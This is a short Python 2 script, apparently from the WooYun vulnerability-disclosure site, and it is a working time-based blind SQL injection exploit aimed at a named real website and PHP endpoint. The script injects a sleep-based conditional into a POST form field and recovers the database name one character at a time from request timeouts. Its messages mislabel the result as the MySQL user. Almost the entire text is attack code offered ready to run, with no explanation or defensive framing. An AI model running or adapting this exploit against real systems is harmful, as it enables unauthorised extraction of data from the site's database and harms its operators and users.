WooYun.org

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
headers = {'Content-Type':'application/x-www-form-urlencoded',
           'Cookie': ''}
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
print 'Start to retrive MySQL User:'
user = ''
for i in range(1, 23):
    for payload in payloads:
        err_count = 0
        for j in range(3):
            try:
                s = "ascii(mid(lower(database()),%s,1))=%s" % (i, ord(payload))
                s = "(if(%s,sleep(6),0))" % s
                body = "image=&name4[]=%s" % urllib.quote(s)
                conn = httplib.HTTPConnection('os.51cto.com', timeout=6)
                conn.request(method='POST',
                             url='/os/famousLinux/result2.php',
                             body=body,
                             headers=headers)
                conn.getresponse()
                conn.close()
                print '.',
            except:
                err_count += 1
        if err_count == 3:
            user += payload
            print '\n[in progress]', user,
            break
print '\n[Done] MySQL user is %s' % user